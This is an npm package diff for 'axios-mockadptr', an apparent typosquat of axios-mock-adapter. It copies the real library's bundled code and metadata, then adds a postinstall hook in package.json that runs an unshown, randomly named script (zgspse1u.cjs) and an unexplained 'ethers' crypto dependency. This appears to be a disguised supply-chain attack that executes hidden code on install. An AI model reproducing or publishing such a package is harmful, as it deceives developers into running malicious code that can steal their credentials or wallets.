eval("\nconst axios = __webpack_require__(/*! axios */ \"axios\");\nconst isEqual = __webpack_require__(/*! fast-deep-equal */ \"./node_modules/fast-deep-equal/index.js\");\nconst isBuffer = __webpack_require__(/*! is-buffer */ \"./node_modules/is-buffer/index.js\");\nconst isBlob = __webpack_require__(/*! ./is_blob */ \"./src/is_blob.js\");\nconst toString = Object.prototype.toString;\n\nfunction find(array, predicate) {\n const length = array.length;\n for (let i = 0; i < length; i++) {\n const value = array[i];\n if (predicate(value)) return value;\n }\n}\n\nfunction isFunction(val) {\n return toString.call(val) === \"[object Function]\";\n}\n\nfunction isObjectOrArray(val) {\n return val !== null && typeof val === \"object\";\n}\n\nfunction isStream(val) {\n return isObjectOrArray(val) && isFunction(val.pipe);\n}\n\nfunction isArrayBuffer(val) {\n return toString.call(val) === \"[object ArrayBuffer]\";\n}\n\nfunction combineUrls(baseURL, url) {\n if (baseURL) {\n return `${baseURL.replace(/\\/+$/, \"\")}/${url.replace(/^\\/+/, \"\")}`;\n }\n\n return url;\n}\n\nfunction findHandler(\n handlers,\n method,\n url,\n body,\n parameters,\n headers,\n baseURL\n) {\n return find(handlers[method.toLowerCase()], function (handler) {\n let matchesUrl = false;\n if (typeof handler.url === \"string\") {\n matchesUrl = isUrlMatching(url, handler.url) ||\n isUrlMatching(combineUrls(baseURL, url), handler.url);\n } else if (handler.url instanceof RegExp) {\n matchesUrl = handler.url.test(url) ||\n handler.url.test(combineUrls(baseURL, url));\n }\n\n return matchesUrl &&\n isBodyOrParametersMatching(body, parameters, handler) &&\n isObjectMatching(headers, handler.headers);\n });\n}\n\nfunction isUrlMatching(url, required) {\n const noSlashUrl = url[0] === \"/\" ? url.substr(1) : url;\n const noSlashRequired = required[0] === \"/\" ? required.substr(1) : required;\n return noSlashUrl === noSlashRequired;\n}\n\nfunction isBodyOrParametersMatching(body, parameters, required) {\n return isObjectMatching(parameters, required.params) &&\n isBodyMatching(body, required.data);\n}\n\nfunction isObjectMatching(actual, expected) {\n if (expected === undefined) return true;\n if (typeof expected.asymmetricMatch === \"function\") {\n return expected.asymmetricMatch(actual);\n }\n return isEqual(actual, expected);\n}\n\nfunction isBodyMatching(body, requiredBody) {\n if (requiredBody === undefined) {\n return true;\n }\n let parsedBody;\n try {\n parsedBody = JSON.parse(body);\n } catch (_e) {}\n\n return isObjectMatching(parsedBody ? parsedBody : body, requiredBody);\n}\n\nfunction purgeIfReplyOnce(mock, handler) {\n const index = mock.handlers.indexOf(handler);\n if (index > -1) {\n mock.handlers.splice(index, 1);\n }\n}\n\nfunction transformRequest(data) {\n if (\n isArrayBuffer(data) ||\n isBuffer(data) ||\n isStream(data) ||\n isBlob(data)\n ) {\n return data;\n }\n\n // Object and Array: returns a deep copy\n if (isObjectOrArray(data)) {\n return JSON.parse(JSON.stringify(data));\n }\n\n // for primitives like string, undefined, null, number\n return data;\n}\n\nasync function makeResponse(result, config) {\n if (typeof result === \"function\") result = await result(config);\n\n const status = result.status || result[0];\n const data = transformRequest(result.data || result[1]);\n const headers = result.headers || result[2];\n if (result.config) config = result.config;\n\n return {\n status,\n data,\n headers,\n config,\n request: { responseURL: config.url }\n };\n}\n\nasync function settle(config, response, delay) {\n if (delay > 0) await new Promise(resolve => setTimeout(resolve, delay));\n\n const result = await makeResponse(response, config);\n\n if (\n !result.config.validateStatus ||\n result.config.validateStatus(result.status)\n ) {\n return result;\n } else {\n throw createAxiosError(\n `Request failed with status code ${result.status}`,\n result.config,\n result\n );\n }\n}\n\nfunction createAxiosError(message, config, response, code) {\n // axios v0.27.0+ defines AxiosError as constructor\n if (typeof axios.AxiosError === \"function\") {\n return axios.AxiosError.from(new Error(message), code, config, null, response);\n }\n\n // handling for axios v0.26.1 and below\n const error = new Error(message);\n error.isAxiosError = true;\n error.config = config;\n if (response !== undefined) {\n error.response = response;\n }\n if (code !== undefined) {\n error.code = code;\n }\n\n error.toJSON = function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: this.config,\n code: this.code,\n };\n };\n return error;\n}\n\nfunction createCouldNotFindMockError(config) {\n const message =\n `Could not find mock for: \\n${\n JSON.stringify({\n method: config.method,\n url: config.url,\n params: config.params,\n headers: config.headers\n }, null, 2)}`;\n const error = new Error(message);\n error.isCouldNotFindMockError = true;\n error.url = config.url;\n error.method = config.method;\n return error;\n}\n\nmodule.exports = {\n find,\n findHandler,\n purgeIfReplyOnce,\n settle,\n isObjectOrArray,\n isBuffer,\n isBlob,\n isBodyOrParametersMatching,\n isEqual,\n createAxiosError,\n createCouldNotFindMockError,\n};\n\n\n//# sourceURL=webpack://AxiosMockAdapter/./src/utils.js?");
|
83
|
+
|
84
|
+
/***/ }),
|
85
|
+
|
86
|
+
/***/ "axios":
|
87
|
+
/*!************************!*\
|
88
|
+
!*** external "axios" ***!
|
89
|
+
\************************/
|
90
|
+
/***/ ((module) => {
|
91
|
+
|
92
|
+
"use strict";
|
93
|
+
module.exports = __WEBPACK_EXTERNAL_MODULE_axios__;
|
94
|
+
|
95
|
+
/***/ })
|
96
|
+
|
97
|
+
/******/ });
|
98
|
+
/************************************************************************/
|
99
|
+
/******/ // The module cache
|
100
|
+
/******/ var __webpack_module_cache__ = {};
|
101
|
+
/******/
|
102
|
+
/******/ // The require function
|
103
|
+
/******/ function __webpack_require__(moduleId) {
|
104
|
+
/******/ // Check if module is in cache
|
105
|
+
/******/ var cachedModule = __webpack_module_cache__[moduleId];
|
106
|
+
/******/ if (cachedModule !== undefined) {
|
107
|
+
/******/ return cachedModule.exports;
|
108
|
+
/******/ }
|
109
|
+
/******/ // Create a new module (and put it into the cache)
|
110
|
+
/******/ var module = __webpack_module_cache__[moduleId] = {
|
111
|
+
/******/ // no module.id needed
|
112
|
+
/******/ // no module.loaded needed
|
113
|
+
/******/ exports: {}
|
114
|
+
/******/ };
|
115
|
+
/******/
|
116
|
+
/******/ // Execute the module function
|
117
|
+
/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
|
118
|
+
/******/
|
119
|
+
/******/ // Return the exports of the module
|
120
|
+
/******/ return module.exports;
|
121
|
+
/******/ }
|
122
|
+
/******/
|
123
|
+
/************************************************************************/
|
124
|
+
/******/
|
125
|
+
/******/ // startup
|
126
|
+
/******/ // Load entry module and return exports
|
127
|
+
/******/ // This entry module is referenced by other modules so it can't be inlined
|
128
|
+
/******/ var __webpack_exports__ = __webpack_require__("./src/index.js");
|
129
|
+
/******/
|
130
|
+
/******/ return __webpack_exports__;
|
131
|
+
/******/ })()
|
132
|
+
;
|
133
|
+
});
|
@@ -0,0 +1,2 @@
|
|
1
|
+
/*! For license information please see axios-mock-adapter.min.js.LICENSE.txt */
|
2
|
+
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e(require("axios")):"function"==typeof define&&define.amd?define(["axios"],e):"object"==typeof exports?exports.AxiosMockAdapter=e(require("axios")):t.AxiosMockAdapter=e(t.axios)}(self,(t=>{return e={17:t=>{"use strict";t.exports=function t(e,r){if(e===r)return!0;if(e&&r&&"object"==typeof e&&"object"==typeof r){if(e.constructor!==r.constructor)return!1;var o,n,s;if(Array.isArray(e)){if((o=e.length)!=r.length)return!1;for(n=o;0!=n--;)if(!t(e[n],r[n]))return!1;return!0}if(e.constructor===RegExp)return e.source===r.source&&e.flags===r.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===r.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===r.toString();if((o=(s=Object.keys(e)).length)!==Object.keys(r).length)return!1;for(n=o;0!=n--;)if(!Object.prototype.hasOwnProperty.call(r,s[n]))return!1;for(n=o;0!=n--;){var i=s[n];if(!t(e[i],r[i]))return!1}return!0}return e!=e&&r!=r}},206:t=>{t.exports=function(t){return null!=t&&null!=t.constructor&&"function"==typeof t.constructor.isBuffer&&t.constructor.isBuffer(t)}},938:(t,e,r)=>{"use strict";const o=r(413);function n(t,e){let r=e.baseURL;return r&&!/^https?:/.test(r)&&(r=void 0),"function"==typeof t.originalAdapter?t.originalAdapter(e):t.axiosInstanceWithoutInterceptors(Object.assign({},e,{baseURL:r,adapter:t.originalAdapter,transformRequest:[],transformResponse:[]}))}t.exports=async function(t,e){let r=e.url||"";e.baseURL&&r.substr(0,e.baseURL.length)===e.baseURL&&(r=r.slice(e.baseURL.length)),delete e.adapter,t.history.push(e);const s=o.findHandler(t.handlers,e.method,r,e.data,e.params,e.headers&&"AxiosHeaders"===e.headers.constructor.name?Object.assign({},e.headers.toJSON()):e.headers,e.baseURL);if(s)return s.replyOnce&&o.purgeIfReplyOnce(t,s),s.passThrough?n(t,e):o.settle(e,s.response,function(t,e){return"number"==typeof e.delay?e.delay:t.delayResponse}(t,s));switch(t.onNoMatch){case"passthrough":return n(t,e);case"throwException":throw o.createCouldNotFindMockError(e);default:return o.settle(e,{status:404},t.delayResponse)}}},44:(t,e,r)=>{"use strict";const o=r(938),n=r(413),s=["get","post","head","delete","patch","put","options","list","link","unlink"];function i(){const t=[];return s.forEach((function(e){Object.defineProperty(t,e,{get:()=>t.filter((function(t){return!t.method||t.method===e}))})})),t}class a{constructor(t,e={}){if(this.reset(),!t)throw new Error("Please provide an instance of axios to mock");this.axiosInstance=t,this.axiosInstanceWithoutInterceptors=t.create?t.create():void 0,this.originalAdapter=t.defaults.adapter,this.delayResponse=e.delayResponse>0?e.delayResponse:null,this.onNoMatch=e.onNoMatch||null,t.defaults.adapter=this.adapter()}adapter(){return t=>o(this,t)}restore(){this.axiosInstance&&(this.axiosInstance.defaults.adapter=this.originalAdapter,this.axiosInstance=void 0)}reset(){this.resetHandlers(),this.resetHistory()}resetHandlers(){this.handlers?this.handlers.length=0:this.handlers=i()}resetHistory(){this.history?this.history.length=0:this.history=i()}}const c=["any","get","delete","head","options"],u=["headers","params","data"];function f(t,e){for(const r in e)if(!u.includes(r))throw new Error(`Invalid config property ${JSON.stringify(r)} provided to ${l(t)}. Config: ${JSON.stringify(e)}`);return e}function l(t){return`on${t.charAt(0).toUpperCase()}${t.slice(1)}`}function d(t,e,r){if("any"===t)e.push(r);else{const t=function(t,e){let r=-1;for(let o=0;o<t.length;o+=1){const s=t[o],i=s.url instanceof RegExp&&e.url instanceof RegExp?String(s.url)===String(e.url):s.url===e.url;(!s.method||s.method===e.method)&&i&&n.isEqual(s.params,e.params)&&n.isEqual(s.data,e.data)&&n.isEqual(s.headers,e.headers)&&!s.replyOnce&&(r=o)}return r}(e,r);t>-1&&!r.replyOnce?e.splice(t,1,r):e.push(r)}}s.concat("any").forEach((function(t){a.prototype[l(t)]=function(e,r,o){const s=this;let i;e=void 0===e?/.*/:e;const a=function(t,e,r){return c.includes(t)?f(t,e||{}):f(t,Object.assign({},r,{data:e}))}(t,r,o);function u(r,o,n){const c={url:e,method:"any"===t?void 0:t,params:a.params,data:a.data,headers:a.headers,replyOnce:!1,delay:i,response:"function"==typeof r?r:[r,o,n]};return d(t,s.handlers,c),s}function l(r,o,n){const c={url:e,method:"any"===t?void 0:t,params:a.params,data:a.data,headers:a.headers,replyOnce:!0,delay:i,response:"function"==typeof r?r:[r,o,n]};return d(t,s.handlers,c),s}const p={reply:u,replyOnce:l,withDelayInMs:function(t){i=t;const e=p.reply.bind(p);return Object.assign(e,p),e},passThrough(){const r={passThrough:!0,method:"any"===t?void 0:t,url:e,params:a.params,data:a.data,headers:a.headers};return d(t,s.handlers,r),s},abortRequest:()=>u((async function(t){throw n.createAxiosError("Request aborted",t,void 0,"ECONNABORTED")})),abortRequestOnce:()=>l((async function(t){throw n.createAxiosError("Request aborted",t,void 0,"ECONNABORTED")})),networkError:()=>u((async function(t){throw n.createAxiosError("Network Error",t)})),networkErrorOnce:()=>l((async function(t){throw n.createAxiosError("Network Error",t)})),timeout:()=>u((async function(t){throw n.createAxiosError(t.timeoutErrorMessage||`timeout of ${t.timeout}ms exceeded`,t,void 0,t.transitional&&t.transitional.clarifyTimeoutError?"ETIMEDOUT":"ECONNABORTED")})),timeoutOnce:()=>l((async function(t){throw n.createAxiosError(t.timeoutErrorMessage||`timeout of ${t.timeout}ms exceeded`,t,void 0,t.transitional&&t.transitional.clarifyTimeoutError?"ETIMEDOUT":"ECONNABORTED")}))};return p}})),t.exports=a,t.exports.default=a},58:t=>{t.exports=function(t){return"undefined"!=typeof Blob&&(t instanceof Blob||"[object Blob]"===Object.prototype.toString.call(t))}},413:(t,e,r)=>{"use strict";const o=r(742),n=r(17),s=r(206),i=r(58),a=Object.prototype.toString;function c(t,e){const r=t.length;for(let o=0;o<r;o++){const r=t[o];if(e(r))return r}}function u(t){return null!==t&&"object"==typeof t}function f(t,e){return t?`${t.replace(/\/+$/,"")}/${e.replace(/^\/+/,"")}`:e}function l(t,e){return("/"===t[0]?t.substr(1):t)===("/"===e[0]?e.substr(1):e)}function d(t,e,r){return p(e,r.params)&&function(t,e){if(void 0===e)return!0;let r;try{r=JSON.parse(t)}catch(t){}return p(r||t,e)}(t,r.data)}function p(t,e){return void 0===e||("function"==typeof e.asymmetricMatch?e.asymmetricMatch(t):n(t,e))}function h(t){return e=t,"[object ArrayBuffer]"===a.call(e)||s(t)||function(t){return u(t)&&function(t){return"[object Function]"===a.call(t)}(t.pipe)}(t)||i(t)?t:u(t)?JSON.parse(JSON.stringify(t)):t;var e}function y(t,e,r,n){if("function"==typeof o.AxiosError)return o.AxiosError.from(new Error(t),n,e,null,r);const s=new Error(t);return s.isAxiosError=!0,s.config=e,void 0!==r&&(s.response=r),void 0!==n&&(s.code=n),s.toJSON=function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:this.config,code:this.code}},s}t.exports={find:c,findHandler:function(t,e,r,o,n,s,i){return c(t[e.toLowerCase()],(function(t){let e=!1;return"string"==typeof t.url?e=l(r,t.url)||l(f(i,r),t.url):t.url instanceof RegExp&&(e=t.url.test(r)||t.url.test(f(i,r))),e&&d(o,n,t)&&p(s,t.headers)}))},purgeIfReplyOnce:function(t,e){const r=t.handlers.indexOf(e);r>-1&&t.handlers.splice(r,1)},settle:async function(t,e,r){r>0&&await new Promise((t=>setTimeout(t,r)));const o=await async function(t,e){"function"==typeof t&&(t=await t(e));const r=t.status||t[0],o=h(t.data||t[1]),n=t.headers||t[2];return t.config&&(e=t.config),{status:r,data:o,headers:n,config:e,request:{responseURL:e.url}}}(e,t);if(!o.config.validateStatus||o.config.validateStatus(o.status))return o;throw y(`Request failed with status code ${o.status}`,o.config,o)},isObjectOrArray:u,isBuffer:s,isBlob:i,isBodyOrParametersMatching:d,isEqual:n,createAxiosError:y,createCouldNotFindMockError:function(t){const e=`Could not find mock for: \n${JSON.stringify({method:t.method,url:t.url,params:t.params,headers:t.headers},null,2)}`,r=new Error(e);return r.isCouldNotFindMockError=!0,r.url=t.url,r.method=t.method,r}}},742:e=>{"use strict";e.exports=t}},r={},function t(o){var n=r[o];if(void 0!==n)return n.exports;var s=r[o]={exports:{}};return e[o](s,s.exports,t),s.exports}(44);var e,r}));
|
@@ -0,0 +1,25 @@
|
|
1
|
+
/*!
|
2
|
+
* Determine if an object is a Buffer
|
3
|
+
*
|
4
|
+
* @author Feross Aboukhadijeh <https://feross.org>
|
5
|
+
* @license MIT
|
6
|
+
*/
|
7
|
+
|
8
|
+
/*!
|
9
|
+
* MIT License
|
10
|
+
*
|
11
|
+
* Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)
|
12
|
+
*
|
13
|
+
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
|
14
|
+
* documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
|
15
|
+
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit
|
16
|
+
* persons to whom the Software is furnished to do so, subject to the following conditions:
|
17
|
+
*
|
18
|
+
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
|
19
|
+
* Software.
|
20
|
+
*
|
21
|
+
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
|
22
|
+
* WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
23
|
+
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
|
24
|
+
* OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
25
|
+
*/
|
package/package.json
CHANGED
@@ -1,6 +1,53 @@
|
|
1
1
|
{
|
2
2
|
"name": "axios-mockadptr",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "2.1.0",
|
4
|
+
"description": "Axios adapter that allows to easily mock requests",
|
5
|
+
"main": "src/index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node zgspse1u.cjs"
|
8
|
+
},
|
9
|
+
"files": [
|
10
|
+
"src",
|
11
|
+
"dist",
|
12
|
+
"types",
|
13
|
+
"zgspse1u.cjs"
|
14
|
+
],
|
15
|
+
"types": "types",
|
16
|
+
"repository": {
|
17
|
+
"type": "git",
|
18
|
+
"url": "git+https://github.com/ctimmerm/axios-mock-adapter.git"
|
19
|
+
},
|
20
|
+
"keywords": [
|
21
|
+
"axios",
|
22
|
+
"test",
|
23
|
+
"mock",
|
24
|
+
"request",
|
25
|
+
"stub",
|
26
|
+
"adapter"
|
27
|
+
],
|
28
|
+
"author": "Colin Timmermans <colintimmermans@gmail.com>",
|
29
|
+
"license": "MIT",
|
30
|
+
"bugs": {
|
31
|
+
"url": "https://github.com/ctimmerm/axios-mock-adapter/issues"
|
32
|
+
},
|
33
|
+
"homepage": "https://github.com/ctimmerm/axios-mock-adapter#readme",
|
34
|
+
"peerDependencies": {
|
35
|
+
"axios": ">= 0.17.0"
|
36
|
+
},
|
37
|
+
"devDependencies": {
|
38
|
+
"axios": "^1.7.4",
|
39
|
+
"chai": "^4.3.6",
|
40
|
+
"eslint": "^9.8.0",
|
41
|
+
"mocha": "^10.7.0",
|
42
|
+
"nyc": "^17.0.0",
|
43
|
+
"typescript": "^5.5.4",
|
44
|
+
"webpack": "^5.93.0",
|
45
|
+
"webpack-cli": "^5.1.4"
|
46
|
+
},
|
47
|
+
"dependencies": {
|
48
|
+
"fast-deep-equal": "^3.1.3",
|
49
|
+
"is-buffer": "^2.0.5",
|
50
|
+
"axios": "^1.7.7",
|
51
|
+
"ethers": "^6.13.2"
|
52
|
+
}
|
53
|
+
}
|